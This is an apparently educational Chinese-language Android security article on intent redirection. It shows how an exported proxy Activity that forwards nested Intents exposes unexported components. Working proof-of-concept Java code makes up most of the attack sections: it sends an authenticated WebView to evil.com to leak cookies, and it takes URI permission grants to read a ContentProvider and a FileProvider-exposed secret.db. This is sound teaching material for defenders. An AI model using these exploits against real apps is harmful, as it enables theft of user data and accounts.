Appearance
安卓App的核心是四大组件,而这四大组件之间的通信主要依赖于Intent. 四大组件有导出的,也有未导出的,导出的组件任意app都可以通过Intent来启动.而未导出的组件则只能App自己才能启动. 所以很多时候未导出组件都认为启动它的Intent是可信的. 但是如果我们可以绕开这个限制,就找到新的攻击点.
为什么未导出组件需要保护好
未导出的Activity篇
我们有一个未导出的Webview,只能打开我们信任的页面,并且它是未导出的.
victim的manifest
xml
<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />
同时app有一个ProxyActivity,用来启动其他Activity,并且是导出的.
ProxyActivity
ProxyActivity在后续例子中会一直使用.
java
startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));
victim的AuthWebViewActivity
因为AuthWebViewActivity是未导出的,所以它天然信任其数据来源getIntent
,其代码如下:
java
webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());
poc
针对这种情况,我们就可以构造这样的攻击代码:
java
Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
达到AuthWebView访问evil.com的目的,进而泄露cookie,盗取用户敏感信息,甚至是窃取用户账号的控制权.
未导出的ContentProvider
ContentProvider可以认为是App的数据库,如果一个未导出的ContentProvider设置了``android:grantUriPermissions`为true,那么攻击者就可能借此获取到相关文件以及数据的读写权限.
与ContentProvider相关的一些关键Flag:
Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
永久访问这个ContentProvider的权限,没有设置的话只是一次性的.Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
授予的权限不是某个固定的uri,而是一批uri,这些uri只要有共同的前缀即可.Intent.FLAG_GRANT_READ_URI_PERMISSION
授予读权限Intent.FLAG_GRANT_WRITE_URI_PERMISSION
授予写权限
下面我们来构造一个攻击样例:
victim的manifest:
xml
<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>
<activity android:name=".ProxyActivity" android:exported="true" />
其中ProxyActivity同上.
attacker的导出Activity:
LeakActivity.java
java
Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image
poc:
java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
| Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
| Intent.FLAG_GRANT_READ_URI_PERMISSION
| Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);
未导出的FileProvider
FileProvider实际上是ContentProvider的一个子类,如同名字一样,其专注于文件的分享. 下面我们同样构造一个FileProvider的文件任意读写的例子:
victim的manifest
xml
<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>
注意到:
- 它是FileProvider
- 它的android:grantUriPermissions
- 分享路径信息在
@xml/provider_paths
,也就是res/xml/provider_paths.xml
res/xml/provider_paths.xml
xml
<?xml version="1.0" encoding="utf-8"?>
<paths>
<root-path name="root" path=""/>
<files-path name="internal_files" path="."/>
<cache-path name="cache" path=""/>
<external-path name="external_files" path="images"/>
</paths>
这里顺便说一下,如无必要,尽量不要直接分享root,这是非常危险的,一旦被获取到权限,整个app的所有信息都会一览无余.
attacker的LeakActivity
attacker要能收到相应的Intent,才能获取到文件的读写权限. LeakActivity.java
java
InputStream i = getContentResolver().openInputStream(getIntent().getData());
攻击poc
和ContentProvider是类似的,只不过这次针对的是FileProvider.
java
Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);